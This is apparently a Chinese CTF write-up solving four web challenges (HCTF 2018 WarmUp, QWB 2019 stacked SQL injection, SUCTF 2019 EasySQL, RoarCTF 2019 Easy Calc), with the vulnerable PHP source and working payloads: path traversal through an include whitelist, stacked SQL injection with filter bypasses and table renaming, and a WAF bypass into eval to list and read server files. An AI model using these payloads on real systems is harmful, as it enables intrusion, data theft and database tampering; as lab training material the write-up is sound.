0x01 [HCTF 2018] WarmUp [PHP][代码审计]
简单题。打开网页后一张滑稽,按F12寻找信息,发现代码注释里有一行
“`“`,在url后加上/source.php刷线页面,得到一段PHP代码。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看这个判断语句
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
说明是在请求中包含有文件,以及文件是一个string,这两个都好说,看第三个是进入checkFile函数。
看代码逻辑的话,有三种情况会返回true
1. file参数名在白名单里,白名单包括
“`source.php“`和“`hint.php“`
2. “`mb_substr($page,0,mb_strpos($page . ‘?’, ‘?’));“`的结果在白名单里,这个语句的结果其实就是把类似于 file=source.php?something 中的?something去掉,所以按时着我们可以在file=source.php后加入一些东西。
3. 跟情况2一样,只不过多了一步urldecode
首先我们先看下hint.php,返回
“`flag not here, and flag in ffffllllaaaagggg“`,提示我们flag在ffffllllaaaagggg。这样看来我们可以通过构造 file=hint.php?../ 等来进行一个路径穿越,获取到任意文件。通过不断跳目录即可得到下面的payload,以此即可得到flag
file=hint.php?../../../../../ffffllllaaaagggg
这也是一个比较经典的phpMyAdmin的漏洞了,参考文章
关于这里的路径问题,php include的方式是首先在逐一用include_path中定义的包含目录来拼接[未确定路径],找到存在的文件则包含成功退出,如果没有找到,则用执行require语句的php文件所在目录来拼接[未确定路径]组成的全路径去查找该文件,如果文件存在则包含成功退出,否则表示包含文件不存在,出错。
0x02 [强网杯 2019] 随便注
进入之后是一个表单提交,默认值为1,点提交之后返回一个无用的数组。
尝试 1′ 得到
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
可知存在注入,且参数使用单引号。
做了一些其他尝试后得到输入1.时返回
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明存在过滤条件,那么一般的操作就无法拿到列了。
测试下能否使用堆叠,
“`1%27%3Bshow+databases%3B“` 得到如下信息
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
然后再看看tables的情况,
“`1%27%3Bshow+tables%3B“`
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
然后再来看一下每个table里的东西,首先是1919这一长串
“`1%27%3Bshow+columns+from+%601919810931114514%60%3B“`
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
嗯。。似乎看到了flag的标志,现在我们要做的就是
“`select flag from 191981093111414“`.
但是select被过滤了,想用预编译来代替
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
返回
“`strstr($inject, “set”) && strstr($inject, “prepare”)“`
emmmm, set和prepare也被过滤了,但是注意到php的strstr函数是区分大小写的,所以我们可以用Set来代替,得到payload为
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
返回了flag
array(1) {
[0]=>
string(42) "flag{daf87e84-906a-4edc-84d0-a05ce2db287b}"
}
还有另一种解法是重命名,转自这里,具体为:
当前使用的库有两张表,输入1,2或者1' or 1#得到的回显明显是words表中的,即默认的查询是对words表的查询,他有两个字段:id和data,可以进行如下更改:
rename table `words` to `other`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(50);
把原本的words表改为其他名字,把存有flag的表名改为words,把flag名字改为id
payload:
inject=%27%3Brename+table+%60words%60+to+%60other%60%3Brename+table+%601919810931114514%60+to+%60words%60%3Balter+table+%60words%60+change+%60flag%60+%60id%60+varchar%2850%29%3B%23
然后提交1' or 1#获得flag
本题的php源码:
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
0x03 [SUCTF 2019]EasySQL
跟上一题类似,简单的尝试可以发现堆叠注入
1;show databases;
返回
Array ( [0] => 1 )
Array ( [0] => ctf )
Array ( [0] => ctftraining )
Array ( [0] => information_schema )
Array ( [0] => mysql )
Array ( [0] => performance_schema )
Array ( [0] => test )
1;show tables;
返回
Array ( [0] => 1 )
Array ( [0] => Flag )
也就是说要从Flag里面找东西,
简单的测试可以发现大部分关键字都被过滤了,但是输入 1=1 会返回1,而1=2返回0,根据网上大佬们所说的猜测(不知道怎么猜出来的或许这就是经验吧orz),应该是某种select “.$post[‘query’].”||flag from Flag的结构。(有点为了出题而出题的意思)
那么尝试构造一些payload替换原来的字符串,比如简单的 *,1 代入之后sql语句变为 select *,1||flag from Flag,此时便可得到flag了。。
Array ( [0] => flag{7c1574c3-3566-4b3d-93d3-354f46e9fa4b} [1] => 1 )
0x04 [RoarCTF 2019]Easy Calc
打开是个计算器,还可以使用。F12找信息,发现主要逻辑JS
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
发现后端是一个calc.php,访问一下试试。。
然后就得到了php的代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以发现过滤了一些特殊字符。
但是奇怪的是我输入字母的时候会返回404 Forbidden,而输入特殊字符的时候应该显示what are you want to do?的。
查看网页源码发现有一句
<!--I've set up WAF to ensure security.-->
然后猜测是WAF禁止了num字段有非数字和运算符出现。
思考无果,看了别人的writeup发现利用的是WAF和php解析url参数的不一致来做的。php会将key中一些字符自动转换,比如将空格转换为下划线,忽略前缀空格等。。然后这个题里面WAF是没有这种功能的(不清楚具体的实现,有待学习),于是可以在query参数的num前加个空格,变成
“`calc.php? num=xxxxxx“`
然后就可以绕过WAF了,接下来看php的话,用了eval这种高危函数,而且只过滤了一下特殊字符,我们就可以任意操作了。。
首先scandir(“/”),由于php里写了过滤所以需要用chr绕过,payload写成
/calc.php?%20num=var_dump(scandir(chr(47)))
然后得到目录扫描结果
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
发现f1agg,用php语句读取出来echo回显即可得到flag,具体payload为
/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))